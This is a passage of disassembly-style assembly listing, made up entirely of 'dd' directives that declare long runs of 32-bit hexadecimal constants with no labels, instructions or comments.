		dd 277FF0Bh, 41A2E46h, 0C2AAD45Eh, 860D53C1h, 0BC55013Ah
		dd 0F9163D52h, 124C2888h, 2CAB5457h, 199D9B7Bh,	0F06009C8h
		dd 0FEE65E26h, 7599DD32h, 7772B5FEh, 0FB82CA7Ch, 0C3FE737Ch
		dd 2DB34897h, 11755100h, 7696254Bh, 56A0601h, 0B5FF8BF4h
		dd 16C4DD20h, 0AF749C7Ch, 7508CA50h, 0CEB95CFCh, 0E1233003h
		dd 3D220540h, 0BE11C37Ch, 0BAF13543h, 6445EA13h, 0D8730207h
		dd 0CB3175AFh, 578F8B7Dh, 924C432Ch, 1A275212h,	0C280BFEh
		dd 347DE355h, 1608444Ch, 6D2DAB11h, 0C692C8F6h,	5B10C32Dh
		dd 939FD901h, 12050304h, 8E3C05Ah, 0A3111CB9h, 94ED5B0Ch
		dd 0D630D809h, 1B3C1182h, 400C5406h, 0F5398063h, 0F2CD93DFh
		dd 0EA0E42A8h, 0D588C2FEh, 0C5472725h, 80FFB6E4h, 0F528B2C5h
		dd 0B98DE912h, 1056F2BBh, 5F30FE51h, 352DEBC6h,	5AB723F6h
		dd 0D108836Ah, 0ED2F1ECFh, 9CFF4E59h, 0D937E9D1h, 0D00722D4h
		dd 0D5EF0372h, 627ABEA0h, 89582EFEh, 0D75D1039h, 970BD24h
		dd 3F701218h, 92AFDC97h, 3413EE29h, 8282C5EAh, 6E5F9956h
		dd 75681799h, 9EB66145h, 1D1B921Fh, 0B38B0FF9h,	0F975CBA9h
		dd 33666943h, 66EF1B5h,	779FCAE9h, 5D9EF302h, 572126AEh
		dd 0AC256372h, 6B477D5Fh, 0E1240C90h, 6C4A0073h, 0F52552E8h
		dd 9C64B1Dh, 38616B40h,	12C02D1Dh, 0BA152A3Fh, 0CEC8302h
		dd 0D76BC3E8h, 69B3FE99h, 0CC56DC48h, 0F46A25B6h, 0EA560244h
		dd 4120A190h, 0C700BDA4h, 3623773Ch, 5FFE3112h,	0C8B1A2F8h
		dd 6B684F22h, 0FBEF75F4h
		dd 0E904B624h, 0E2F8C01Ah, 79F4C7C0h, 0F7EC2D31h, 67C9FC09h
		dd 1DB5F60Fh, 602EC4BAh, 3F84FA7Eh, 4765C601h, 7E6071A9h
		dd 1A1613C7h, 4A67EC3Bh, 7F64B501h, 0D16E20F2h,	0C89DEA39h
		dd 0DD9D592Dh, 10D4AB0h, 7B550A00h, 15511835h, 797EB736h
		dd 0E961FC0Eh, 3615860h, 1862CB81h, 90B77083h, 4FEE51D0h
		dd 0D60C8390h, 18494347h, 60DEEA89h, 0F52E0C40h, 0BF195Ch
		dd 5DC935B0h, 0AF984B45h, 9AED2D07h, 0D0AEC402h, 30564C95h
		dd 76406C0Eh, 0A2C56867h, 0C6E278E5h, 8D5D909h,	3A0281DAh
		dd 0E270D76Eh, 3AD4A40h, 743BBFF0h, 0AC44BF0Ch,	0DBC4905Fh
		dd 2F698BEAh, 0B26C80AEh, 4CE2808Ah, 632E0166h,	85686495h
		dd 0C499BC9Ah, 0A2910D97h, 627A7484h, 0E2C807D1h, 500439B9h
		dd 0CA31784Ah, 93659AF1h, 5A3CB931h, 4418AE4Bh,	4ABEE969h
		dd 0E98BAFC8h, 0A92CAD12h, 64EF132Dh, 0FEC37240h, 0ECBEB450h
		dd 5E377EE4h, 0BDEE806Dh, 0A3013C99h, 6E58139h,	0E3418835h
		dd 0D07F05EDh, 8B4A2BEFh, 30225960h, 0C07BB707h, 19500918h
		dd 0EA5F21C8h, 0C3DE33A2h, 627C58FDh, 0E7080C01h, 0D789BE23h
		dd 0F809DF68h, 56843767h, 27F7F851h, 80E4575Ch,	0B236815h
		dd 2EB985A8h, 0C684A374h, 1A83B144h, 5BCB31BAh,	0D9202A4Ch
		dd 950E6668h, 0E91263CCh, 37A775DDh, 0A9676813h, 0FF1271Bh
		dd 44924793h, 0BDD95509h, 5C0D2D7Bh, 81FA1CDFh,	0CC6B84C1h
		dd 0D94AE5D3h, 52B662AAh, 0B62D0BE6h, 798C444Bh, 92162F9Ch
		dd 0EC2F7872h, 3D5A73B6h, 0DD76282Fh, 1305D880h, 0EA207B6Bh
		dd 5E645C89h, 9A01DC51h, 6AEC2C56h, 29ED2517h, 0F331CEF0h
		dd 5BDA3D10h, 72E166Fh,	0A5D17EFDh, 46648302h, 0F9E1B107h
		dd 0C0BEA849h, 907FA2F1h, 0CD290510h, 0EAF8C5E9h, 0D2521E33h
		dd 5893509Ch, 9343805Bh, 4EB0BD78h, 9197C8D3h, 0E82B505Ah
		dd 1482E30h, 0F6352609h, 0CFF6E715h, 0EE0971A4h, 2B68E98Ch
		dd 0A4DF4B93h, 144C1C0Ch, 0AD1C9FC5h, 9E5D2768h, 827775E5h
		dd 8E179C56h, 0D5E5ACECh, 0AF3B8194h, 0A1317B2Ah, 28C507BDh
		dd 0FCD76338h, 5066592h, 26905181h, 0B5A6BA68h,	40E9570Bh
		dd 97F1488Dh, 0C8C49753h, 8B9711FCh, 0FDB25FE8h, 7C2FD2FDh
		dd 0C17582CAh, 0EC365386h, 0A081805Eh, 9398A62Ch, 7797227Dh
		dd 459D8194h, 7FF80294h, 605D7152h, 7D6D2D97h, 62384832h
		dd 6EB7FD4Fh, 0AF71E50Ch, 0EEABC7BBh, 0E90B0854h, 4EC8A230h
		dd 0C6251B90h, 149F263h, 33C02527h, 2C9562E9h, 2D2B9445h
		dd 78666811h, 1BDF3D6Bh, 0C9068093h, 30A27B61h,	0F729BB97h
		dd 41C19F08h, 0EC58CBE5h, 8C0B78DFh, 80293D42h,	0F7C51439h
		dd 99709h, 9785DE0Bh, 7275B559h, 275294D6h, 0BFDED677h
		dd 0E085FCCAh, 5ED56853h, 1BEC980Eh, 0FE209627h, 796B02ECh
		dd 918E4350h, 80280684h, 1958CDB4h, 1FAA9258h, 1C1696EDh
		dd 0ABC51700h, 0C113B92Ch, 0AA3508C4h, 7248666h, 0BFA0205h
		dd 0B0A4E9EAh, 934B45D5h, 0BE8BEF52h, 0A295AC4Eh, 9410F75Ch
		dd 46991403h, 0D7EF2909h, 0D6AF9A65h, 5F68054Bh, 9371AE07h
		dd 14BB1267h, 0BE916816h, 41DDF6CCh, 0F604605Dh, 880A620Bh
		dd 2D977A7Dh, 545634h, 40BC6850h, 37B0E919h, 765F40C9h
		dd 44660E7Fh, 0C6502CBh, 376B118Ch, 773163FAh, 59E9FB01h
		dd 5A4B4836h, 1EA2D15Fh, 0BC0AA748h, 0EBE937Eh,	56DDF9EBh
		dd 3F61E155h, 0C31635BCh, 0FF39AFACh, 472A76Eh,	6B99603Eh
		dd 8E9141Eh, 3D54A75h, 88C18065h, 4577C78Dh, 0C4D9FEF4h
		dd 0E01BEAFCh, 0EBC2EAE2h, 0C1267E93h, 393C33C8h, 0CBF8D3FDh
		dd 114BA880h, 882F683Fh, 3649986Eh, 0E2D44C6Ch,	0ABC05F2Dh
		dd 44036FB8h, 0C1217D20h, 0F5BA0158h, 2917F2DDh, 674470CFh
		dd 0C07AFD41h, 0EF055FACh, 2325121Ah, 0AA6B752Eh, 5934E40Eh
		dd 0A07FFD71h, 55D097B0h, 0CA09C24Bh, 5C7D89D0h, 0DFE62D73h
		dd 0A464CDF6h, 5E84CA65h, 0A728A1FAh, 340BD50Ch, 0FC310F4h
		dd 0CF490071h, 2ED7E6Ch, 0B0DFF7h, 0E82516F8h, 52A0DF78h
		dd 1F9F12Ch, 84C5E97h, 122DDFE1h, 201440E5h, 0E8884A7Eh
		dd 46152F1Bh, 77FABDCDh, 7C845F5Bh, 0C5E625C1h,	7DC18381h
		dd 2A06F630h, 86810EBh,	380D572Ch, 2ABB0360h, 54017844h
		dd 4537F381h, 246D4C2Ch, 82038080h, 0E25E975h, 0BFF9516Eh
		dd 204FC4C0h, 36267691h, 0C001B101h, 590266C8h,	282A2C5Ah
		dd 6CF482E8h, 5D7DC43Bh, 0F25F5156h, 0F068B1A5h, 2DE9F364h
		dd 0DA765D63h, 5C996850h, 52C0EF3Fh, 51538DB6h,	50F1881Ch
		dd 59F7C8D4h, 5A662FF0h, 6946F4EFh, 0FA01893Eh,	2B182F6Ch
		dd 36F926BFh, 0D4415C5Bh, 46BD4CDCh, 0C9D1FBECh, 0E955EB39h
		dd 0A5F403C3h, 53F1B519h, 2711338Bh, 56FFD597h,	0D0F72C44h
		dd 6DD4C3C1h, 0EC3E77F5h, 620B2FA7h, 67515570h,	58E805E0h
		dd 2D170243h, 1BAE3E1Ch, 4E442543h, 2C90E808h, 4BBC085Dh
		dd 0D8C62C01h, 0DF20AB16h, 9D617015h, 5DE288D6h, 6D9957CCh
		dd 0E8A23E59h, 0B07D079Ah, 9AEBF1F9h, 5F81778Bh, 0E4FDD902h
		dd 33964BF6h, 5FDA7FC9h, 44188BB7h, 671202B8h, 2D587446h
		dd 72160689h, 17FE8FDh,	0E4BC054Fh, 0C4DAEB93h,	3C27CD4Ch
		dd 0C9544A46h, 0EE5129B6h, 0D3903B8Fh, 17F7095Dh, 955A1DE9h
		dd 58FE319h, 60FA685Fh,	0F554CACCh, 39307730h, 28CC125Dh
		dd 45076306h, 0C9130C4Ch, 9AB8CD55h, 4EF4E95Eh,	0FCE914C1h
		dd 0B9530B3Eh, 315CE17Dh, 47E9BE54h, 0EE2DBA64h, 4EDD4ED8h
		dd 0A07EE929h, 2CB1BF57h, 0EA1043h, 722C17EFh, 0D74AF718h
		dd 1FFB151Eh, 190B3D08h, 0B9E6DF29h, 4AB2B84Dh,	2602DD13h
		dd 575A2963h, 19467860h, 0E3EC1DF2h, 0A9446A16h, 5691EE8h
		dd 2424F070h, 11242148h, 58CDC115h, 9F841362h, 59837DF3h
		dd 408D5B68h, 0E9D9886Ah, 0FF95C0C2h, 723EBE39h, 4CE101DAh
		dd 4966CF3Fh, 6C01EFDFh, 0C824D30h, 741C6EEEh, 0B3E48D80h
		dd 1CB03B72h, 8D4F9AFAh, 307B41A7h, 0EB5720B2h,	44271ECDh
		dd 0C2428828h, 5A89F810h, 0A4513087h, 80619076h, 60E1D2EBh
		dd 287459CFh, 0C29F9BFCh, 0C2B6D5C9h, 1D2F08A0h, 261A23Eh
		dd 452801F5h, 0D6BEE039h, 0A71830CAh, 14470CCAh, 4001412Eh
		dd 7C286083h, 8F40074Eh, 0D76D0B3Eh, 0F6FAA999h, 0BD80FA20h
		dd 8809CD7Ch, 0D306A433h, 4A7CE7EBh, 0AF9246A2h, 50BD4C61h
		dd 2CA74EA4h, 0C5FC16B0h, 0EAE879h, 2A050BE5h, 9F99ED81h
		dd 0E91B44F8h, 8224B493h, 4106C2CBh, 437FD52Fh,	6589CDEAh
		dd 76C016EAh, 3C4841DCh, 5162143Eh, 2F0CDEF8h, 9E7332Bh
		dd 273D6A40h, 449C6901h, 3197C16Ch, 143DCFA5h, 0DA50029Bh
		dd 5A3C51E9h, 1EC4596Fh, 0C14D814Ah, 0A663BBh, 216E5F68h
		dd 94565E20h, 0DDA8392Fh, 402D5EDFh, 1A2B7285h,	76693516h
		dd 2E09570Bh, 4ECA1EF6h, 0D699AD42h, 0C0F173B2h, 0F78C3AD3h
		dd 65A2415Ah, 71A66BE9h, 900FB4Fh, 0BE27E22Dh, 20E92D14h
		dd 6866A080h, 0D0F24E43h, 0C13E9B9Fh, 400149E8h, 197BFC92h
		dd 75C261D6h, 0B9A7EBDh, 0B0FF8F5Eh, 0A4723548h, 0C5563424h
		dd 7DB2EA3Bh, 0C42110CBh, 3F5C4BE9h, 551006B3h,	0C6B05B58h
		dd 0CC7D1FBEh, 88540A23h, 0D6F59DBDh, 310BE0F9h, 0F22E55B0h
		dd 8089D170h, 1FDE80C2h, 0E92CD028h, 0EB39D732h, 0B30B45CBh
		dd 48B2233Dh, 7BDA9FE9h, 61F815B1h, 44F99F16h, 126A2DC0h
		dd 0CA144CB0h, 4679EB05h
		dd 0EDB58076h, 2703A326h, 29076850h, 0B5C4943Fh, 0C58AF2FFh
		dd 0DEFDF896h, 507B2284h, 3A7478F4h, 5D79C5B6h,	51C6F66Eh
		dd 93283AA2h, 163561F8h, 2591168h, 41119951h, 805F2A79h
		dd 7D5FEDC5h, 0DA143C3Ch, 6908B610h, 0B1E2D71Ch, 57451F79h
		dd 0D89E2C31h, 5FFDCD54h, 9D95E2Eh, 537D132Eh, 3257AFC5h
		dd 5716ABF4h, 84E9FCC5h, 0BC16A3FEh, 72D04B87h,	5BDB512Fh
		dd 527AB78Eh, 0A7F41707h, 30F839EAh, 0B50BC779h, 66184Dh
		dd 0AE5E274h, 0AAE9158Fh, 680BC225h, 98FC6E9Ah,	7CCC3A62h
		dd 0B84567F5h, 6F566805h, 0C1DD155Ah, 0E045F69h, 3A2425AFh
		dd 0F489FACDh, 2E3D5341h, 0AC80BA00h, 1C5AB2Fh,	5AD12124h
		dd 9501FB2Fh, 49CF159Ah, 958E74DCh, 168F90D7h, 62F5820Ch
		dd 405A5D05h, 0A768C880h, 0A1321D49h, 197513E9h, 6A41979h
		dd 2B1D9E64h, 0DE2195B4h, 7715E962h, 0D14B395Ch, 0ADE40974h
		dd 629168B0h, 0F7098AA4h, 0F065FE7Bh, 0A4902Eh,	37D06AD4h
		dd 97174735h, 2D405704h, 0A68478A1h, 0ACE9E480h, 77399D31h
		dd 29903B05h, 96D8CBE9h, 7FBA4096h, 394B3C5Ah, 41F459B4h
		dd 0FA4C3037h, 61D7213h, 0A59D42BBh, 0B5C8A30Eh, 70901490h
		dd 24CB64B5h, 96BA64E9h, 813EE95Ah, 0D3EC9C1h, 915E51F0h
		dd 0B9606F39h, 713776ABh, 8B5FE912h, 1630244Ah,	97CAE9E1h
		dd 68511E82h, 8A71219Bh, 325E00BAh, 13C68122h, 55281737h
		dd 0A81ABF4Eh, 0C2FF114h, 55AD51EEh, 5D697599h,	25DC7A48h
		dd 0BD378B0Ch, 57290BE0h, 0EB5A4CCDh, 1109352Dh, 1342147Fh
		dd 0A13D3213h, 0F3E46A6Fh, 0C26A01F3h, 0DD890B37h, 75BF2B5Bh
		dd 8661F8FEh, 9DBA0AABh, 33903514h, 0D738542Ch,	2B0F0A7h
		dd 0D96FAE4Eh, 0B102D589h, 0BE560033h, 0AB273CAAh, 892A5C38h
		dd 4BD470FDh, 29E568E1h, 4CB09A51h, 1FB8BF04h, 8F648Dh
		dd 323057AFh, 7A400E4Ch, 74EF651Fh, 0E4C8F600h,	0C431F909h
		dd 13594A69h, 63520FAh,	34E5041h, 0EE2B3DA1h, 5B31280Dh
		dd 2F0C23D8h, 7AE30A26h, 28651204h, 80F3EA7h, 0CDCC403Fh
		dd 0CF3118F5h, 0E44594Fh, 75EA54B7h, 0C69309AAh, 0D72D60F9h
		dd 0EA72A129h, 2FE06B20h, 0DB505F58h, 48CE6C16h, 80350AAh
		dd 0EA148B12h, 2CE9A368h, 69EE28D2h, 6759F600h,	709F5E87h
		dd 47032F83h, 7D494779h, 0F9970EB6h, 3A25CB23h,	5725D2C2h
		dd 0E4105C77h, 4C6DBC51h, 7DEE279Fh, 0E7979814h, 32522597h
		dd 0B0508C00h, 58C10820h, 0A8727E9h, 5C49C7FEh,	13F0C20Ch
		dd 25C5E65Dh, 0ECD52CA1h, 0E05C4A50h, 1B1DF4CEh, 0E98B4F6Bh
		dd 87257CC9h, 95512BE7h, 0FE1BB031h, 0B13FC278h, 82C11C7Fh
		dd 1259CA0Ch, 202A9F26h, 0C9973FF3h, 903BA37h, 0B2F930A0h
		dd 0D2FC5F5Bh, 32DE649Ch, 0FD6D091Ch, 0EE21ABA3h, 97D11D2h
		dd 0CF34752Ch, 0E67FEA27h, 4A69F29Ch, 0E79DBC8Dh, 16FFDCE5h
		dd 0D57CAF41h, 1E792D68h, 0E456C191h, 6C2743FCh, 0E3595C2Dh
		dd 544867E5h, 61E40525h, 0BBF40DFh, 1EA90967h, 0E9F8267Eh
		dd 8C445A83h, 8004C54Eh, 894A0F4Ch, 5F913BC2h, 8A09D8CAh
		dd 2974E170h, 99D59F0h,	19EEA234h, 40F27701h, 97490E09h
		dd 0BDF8586Eh, 2AC961F8h, 211074Dh, 428DA3Eh, 2ABC5D08h
		dd 3BF2FBA4h, 0D3D50892h, 1AEF62Dh, 7EAA224Fh, 2094D85Fh
		dd 2D304600h, 506C3228h, 0A2D87C01h, 7FC47F07h,	38995D51h
		dd 247683FCh, 0C7A8DCAAh, 985B0740h, 9CD17C19h,	2DF8BB4Ah
		dd 46543421h, 0D9AF2BE5h, 3BF0E989h, 0E9B0B1B8h, 0D899D750h
		dd 40A8A2ECh, 0BCE0BBDEh, 5C40802Fh, 2DF826B6h,	124B672h
		dd 7509BAC2h, 50A27E46h, 3C620168h, 0F9996Dh, 0A53608BAh
		dd 0D6313F09h, 0E61A605Ah, 970CBECCh, 0C787F4E7h, 65885A09h
		dd 0C30B5F97h, 7FA1127Dh, 4B1A1F59h, 387455F5h,	0D50BDF27h
		dd 77093430h, 108F23EFh, 0B05EE7A0h, 74B4F4Fh, 3FA3CBAAh
		dd 681CFEC1h, 7725552Ch, 682D4A9Ch, 69D17EC9h, 5C9DB166h
		dd 6268C1F7h, 8F342A20h, 2933F0ABh, 93D4EA59h, 25869A06h
		dd 4A81989Ah, 0F88B3906h, 5BB1DD0Fh, 0A380DE20h, 14C1EC71h
		dd 1D536BBFh, 9E73D70h,	6ADC55EBh, 3A1E04h, 0FC2D5ABAh
		dd 23ECF4Ah, 0FABDBA9h,	0C68075Dh, 82E0B395h, 0FC41BFB9h
		dd 0EB563B1Fh, 0C587ADD3h, 0C0918C6h, 4F3AE9D1h, 0D790E3E7h
		dd 10F4885Fh, 0A0EF0581h, 127AE07h, 1038C1F2h, 0B0188E66h
		dd 175A876h, 0C331A0FCh, 43986121h, 3BA2149Eh, 7B8010E0h
		dd 0A0114325h, 0FC6EFE2Ah, 1035FD63h, 296B0E6Ah, 909D1AA5h
		dd 12DB35EFh, 5B69AA24h, 5274D742h, 3D5A7029h, 6AAD54ECh
		dd 0E758B37Ah, 77EE1E05h, 162F97CCh, 60EA9842h,	6EB60C6Fh
		dd 0A9BEF088h, 0CF5053C3h, 0FABAB333h, 268F42D8h, 7AE01A0h
		dd 0AC058FC6h, 0E191D44Ah, 64BE2EA9h, 0C7D4AF76h, 5AE559A4h
		dd 5FDF31Dh, 797E168Dh,	5AEB0800h, 0B729638Bh, 0C683E56h
		dd 1C251034h, 0C6FF5112h, 51B545B0h, 8B2D3705h,	541A9155h
		dd 0B85E10ADh, 0F828634h, 0D7CA570Dh, 5AD5C68h,	0ACEAA3C3h
		dd 9504A57Bh, 0ECAAD32Dh, 526FA18Eh, 3FCFFE01h,	27EFE8B4h
		dd 0D1F430C4h, 0F8F55EA7h, 7995F968h, 0D53924Ah, 71A1907Ah
		dd 8593B900h, 4B247765h, 74120F8h, 1A611026h, 816634E9h
		dd 3582F7C5h, 812F7EA8h, 6FDA1690h, 9DE09D98h, 0A267CC0Bh
		dd 107BE984h, 7519E414h, 8A5B0C09h, 8ADA891Fh, 0A93309C9h
		dd 0D04802E1h, 0B2F655F5h, 230189EFh, 27D129F4h, 8E54CA60h
		dd 343DEBC3h, 94A24145h, 0C8E8EEA4h, 9BF57B1h, 4270DA07h
		dd 68010BDCh, 240828FAh, 4B1919BBh, 0FF522F2Dh,	16E206E0h
		dd 226E501Ah, 225759CBh, 6C585584h, 17507872h, 0F6294D04h
		dd 12A742F0h, 2941C1Ah,	8B66B8AEh, 5C7660ECh, 60F80C05h
		dd 2D445A89h, 4BE007A3h, 7B5CCA06h, 0EC4226Ch, 6D6B6AC1h
		dd 2C466862h, 3B609C5Ch, 0A877C719h, 0C09417A3h, 1AA7C535h
		dd 0C2A17C8Fh, 4F433CCFh, 826969FBh, 0A25F8BDDh, 7435702Fh
		dd 0C1FBB5E2h, 5A747CA7h, 29F20B82h, 0FDC38802h, 9B070842h
		dd 6AFED2D0h, 18FAE5Eh,	7166EB68h, 67BB8284h, 86607448h
		dd 7A266DE7h, 27022D3Dh, 4049BC5Bh, 970D9587h, 0B12C167Bh
		dd 0EAD76D18h, 32711E39h, 8BB6C97Dh, 99500676h,	2D3A9BD6h
		dd 0A4D38F7Dh, 4C83227h, 3DD9956Bh, 0BB015645h,	5E02187Eh
		dd 6407D232h, 6040C30Eh, 0C061C5F6h, 17FFD359h,	30FF1228h
		dd 651968A8h, 0D6625AB6h, 1130F74Eh, 949F5391h,	0B51B5FAh
		dd 0D0CCE989h, 0EF4550E8h, 0A3F0127Eh, 0A87D01CBh, 20589214h
		dd 1275E3F5h, 261264B6h, 0E55695D0h, 0CFAA5C42h, 0AD76D01Fh
		dd 1394D740h, 0E9337306h, 19472C6h, 1404282Ch, 23750668h
		dd 81B22635h, 0F650C50Bh, 0CB985EEDh, 82268D4Fh, 5175D2h
		dd 3B0D05DBh, 3521B94Ch, 0C766AC0Bh, 0CC8FF70Ch, 6C3C55C0h
		dd 4E4EE9FDh, 0FEE78F4h, 0C49DC7A6h, 611264h, 7A535CB9h
		dd 9888A015h, 9D6A7634h, 87788DFh, 89F75917h, 0EB5BC14Ch
		dd 0F44E132Bh, 0F141BE0Dh, 0C9CCA46Fh, 5C125B9Ch, 0C2F2B3FEh
		dd 5436F8E9h, 303162E3h, 0D845745Dh, 0C29788E9h, 0ADED7D3Bh
		dd 0AD566313h, 0D1617CFBh, 2BA5240h, 1B755E53h,	8FE0D031h
		dd 48E8F8BCh, 6A407790h, 9D22C3BDh, 0E7D95716h,	84B5221Eh
		dd 0EA170B8Bh, 0C0641CC8h, 2978BF6Dh, 8100195Dh, 9F434CCFh
		dd 59A8E913h, 0FE9233EDh
		dd 2368B640h, 0B331BD78h, 0F1E9055Ah, 27A9F2B2h, 0BCDF801h
		dd 38D6499Bh, 402A077Fh, 0D2F74860h, 0E0EA4EC1h, 1018CFAEh
		dd 0EB224542h, 52D53077h, 9C689618h, 0CA010C3Ch, 0C56898BAh
		dd 7645025Fh, 0A8B39B46h, 0F6D1810h, 5AA2CACh, 71BEB9C0h
		dd 0F4E38862h, 0CB34E42h, 0CD20BB02h, 0A29E681Dh, 50559E0Ah
		dd 4997DB38h, 0F8CFDD1Dh, 722E08F5h, 9A0CC085h,	2D38224Dh
		dd 12E4529Fh, 0E9196EE9h, 92493D6Ah, 42FE2F3Ah,	8F7AE874h
		dd 0DE8398C0h, 0C1D22981h, 0CA3BAB5Ah, 51F61111h, 35EEA27h
		dd 3B7E59A7h, 32751C6Bh, 44ED40F3h, 22A2B762h, 97B17B9Ch
		dd 5E7324EDh, 0BE4ACAFCh, 0B8D0D8FAh, 0AB54190Ah, 0C302E752h
		dd 0E107A82Ah, 5100A211h, 0EBE4C588h, 0F955B0A2h, 1F79E2DBh
		dd 3FF8477Dh, 0CBC81C25h, 480225F5h, 0EF213616h, 0F3F9775Dh
		dd 0AE1FFFA6h, 85C52DB0h, 707848A8h, 0D6094927h, 327A1154h
		dd 75DAF5A3h, 22829A70h, 5201CF8h, 42038129h, 0DFA32401h
		dd 74295B4Bh, 0E90A4323h, 52D6E66Fh, 104B00DDh,	0B029243Ah
		dd 9049BD8Dh, 5F962F01h, 0B7D9B722h, 761F3F09h,	6227736Ch
		dd 0C4A0D43Dh, 9841BE47h, 886E3EEFh, 0EFD31C3Ah, 861612DBh
		dd 212B0FE1h, 0F04EAAC7h, 0F9580180h, 2232C4FFh, 0D570A17h
		dd 0E589E8Dh, 0E32668B4h, 555A8D64h, 814E5300h,	2C4122E6h
		dd 1FA44DACh, 593B4F9Bh, 4423CE83h, 0C0538C3h, 635267D5h
		dd 6FFB0480h, 17F13DFh,	5835EEF7h, 868CC6BFh, 0B1E91509h
		dd 510DD42Ah, 384F68F6h, 211609B9h, 24A10002h, 13D6DE0Ch
		dd 0B91A43E9h, 0D03618AFh, 0F9F3802Ch, 5125F02Eh, 0AC7EB53Ch
		dd 553903F5h, 6EC300DBh, 38C55A3Ch, 30EEE4ADh, 0FA5EB38Eh
		dd 93530728h, 0E87E662Fh, 12B7EE96h, 14A0829h, 2E61AF67h
		dd 14A57F8Eh, 124D72CCh, 1731F96Eh, 3766B065h, 0C363778Ah
		dd 81050601h, 62588CBh,	0EDF3D040h, 2A8B2FC6h, 9A2D425Eh
		dd 3DB801C7h, 0ED415418h, 8105151Ch, 2864BC51h,	7FDDDD2Bh
		dd 0EBE92084h, 680E22ADh, 0DB983CA5h, 0F8BFDDB1h, 1098240h
		dd 0BB5AFF5h, 0B041E83Fh, 7066E828h, 0E3C84859h, 6B99BFB5h
		dd 62C6BAA9h, 0ECA577E9h, 0D560AAF6h, 268057B7h, 10510BCFh
		dd 85FE4E01h, 1762AEBEh, 0E9CFE88Eh, 38464F58h,	3A386842h
		dd 70FE4F35h, 0BAE8E915h, 400CF997h, 2ECDE181h,	0CD371726h
		dd 20D8F182h, 0F7607D0Bh, 8012A5Ah, 0F8D2D7Ch, 0C43B1ED6h
		dd 0ED071619h, 68EB97B0h, 5192C561h, 0C25874B5h, 8CAB82FFh
		dd 49E72F7Dh, 5F6AA9D9h, 0F9426671h, 0CF0FE84Dh, 185F257Fh
		dd 23626E7Ch, 7EFAAC28h, 0A7E6092h, 0F46CCEBh, 50C0B702h
		dd 5D44F468h, 3C130645h, 552FABB8h, 0FE5AA67Ch,	21E9F84Dh
		dd 2420F15Fh, 0C5189168h, 0EBDAC35Bh, 750F5225h, 7310254Bh
		dd 12FDCDB0h, 0E87A0468h, 0F785CB2Fh, 2E8234E1h, 293B3CB1h
		dd 0DC17A0Ah, 0EB043270h, 95F7F100h, 0FABB23E6h, 27FB9CB5h
		dd 0AF404D7Fh, 0D9093D50h, 0FD540D0Fh, 23B57520h, 7BD725Ah
		dd 0E2A099CAh, 0B26DE977h, 837895A9h, 7A467E9Fh, 0F407FC41h
		dd 0EA865A44h, 68B09E7Ch, 0FB5F1211h, 0D0436BCEh, 26614816h
		dd 9391A8E6h, 0C87F6902h, 0AFAC8373h, 0E944885Bh, 8CB89219h
		dd 43939F29h, 5DF50C09h, 239891Eh, 0DE3A84A3h, 1296F0Dh
		dd 5727CD74h, 0B09719CDh, 0BBBC6E0h, 6EBE5016h,	170342D6h
		dd 466090Eh, 0E67F319Ah, 2817EC4Dh, 220B9059h, 0F520F814h
		dd 9D61CEAEh, 7F0107C0h, 618902E2h, 0C07690C2h,	89ED7725h
		dd 6F1975A5h, 91A83BEDh, 0BDF9F84Ah, 284C7F64h,	20FA1E43h
		dd 5D7660CEh, 0AC7F3A2Ah, 0CAA55B4Bh, 0C1A44829h, 92A51Dh
		dd 9059159h, 2DB35169h,	912A70D5h, 0BB401250h, 53200722h
		dd 6368845Bh, 418EFA73h, 1C80584Ch, 87374B57h, 106CE95Dh
		dd 68024A46h, 61343D60h, 0ACB2BC0h, 1CDF7A16h, 7BDE8000h
		dd 0E24138EAh, 0C1AA27E9h, 0FD7BD95Ch, 0D43721FEh, 4C0042Eh
		dd 556484F8h, 7D68E32Ch, 1BE80D92h, 1E1CF827h, 24118958h
		dd 822A9D9h, 0B05DE925h, 971B3E28h, 70345D47h, 298E41BFh
		dd 3465E9CEh, 6D98552Eh, 384ACF0Fh, 87B28512h, 99E40ECh
		dd 4F9B5392h, 34EFC8C1h, 55AF80Eh, 0B63BF5E5h, 0E7993951h
		dd 28B1EEC1h, 0A0753B5Bh, 0C1D78CA5h, 0E8C10916h, 1AB6052Ah
		dd 89CD266h, 0CBCE3F5h,	0CC02E910h, 2B0EBDA7h, 7768A009h
		dd 814F0F09h, 0AE6DBA5Ah, 53E4E9E2h, 5BB8222Bh,	89D5E5E2h
		dd 93D867C0h, 0DD90BB66h, 97FEFB2Dh, 0F74531DDh, 6A860901h
		dd 1F2C3E8Ch, 0DA3EB212h, 0FE5D04D0h, 742DAE8h,	7B972270h
		dd 4E1228C2h, 8C2F2251h, 9045C0EAh, 752CEAADh, 133E2521h
		dd 6B9B217Ah, 7EF68D21h, 7EDE5E02h, 56160703h, 0D968C004h
		dd 518BC50Eh, 3824AE9Dh, 88AC1BEh, 0D7530221h, 68859971h
		dd 85BC75B7h, 402BCFC5h, 3405BA51h, 0FF9575B2h,	285DBA09h
		dd 32139AC2h, 0A24B10BCh, 0CBBED661h, 8D68169Fh, 0A917D21h
		dd 0D0B15103h, 2E492A8Bh, 0BE917E48h, 0FB171106h, 0C3070CFCh
		dd 0D15F8E39h, 0A4E1ABCFh, 95FFBBE1h, 2D37FCBDh, 3722F505h
		dd 65642201h, 2424FEBDh, 0D6F84EDh, 50F2807Bh, 3950B04h
		dd 0AA56D399h, 0EE67DD23h, 769E5718h, 89898118h, 0C6171A88h
		dd 0A3F201Ch, 1A1A0158h, 401CB3F0h, 1038CE2Dh, 35C4854h
		dd 10D204FAh, 17A8E401h, 4FDDEB1h, 34E510C1h, 0F8525670h
		dd 0EDBC4E53h, 1DE9A02Eh, 0AA0AD023h, 0ABCBDA39h, 2F7E378Bh
		dd 9F7A036Fh, 0EE94E7E0h, 0A2CBB260h, 0A8509DDFh, 0E9C62906h
		dd 4241242h, 750945BFh,	121FFF6Fh, 50CAD0DFh, 0D284C61Ch
		dd 0EDC3C804h, 0ABC34A90h, 0BA964221h, 9F2F316Ah, 0EB734032h
		dd 0BCB4087h, 0B2F5852Ch, 680100B8h, 77F67E17h,	2AA425Fh
		dd 0A3937ADEh, 7D31B7F0h, 7BC931CFh, 63180E31h,	82513C08h
		dd 58FD624Ah, 0F0D47759h, 0C7134082h, 56D34222h, 576248Ah
		dd 0C3434ED6h, 0E9A004C7h, 0EC95B4CBh, 123BE1EAh, 5245E4BBh
		dd 7E179390h, 81A85A06h, 0AB2C3416h, 81FCA65h, 8DF822E5h
		dd 4F0FFE1Ch, 0BB6E2806h, 3C89727Ah, 8FD8AD3Fh,	0F04B708Eh
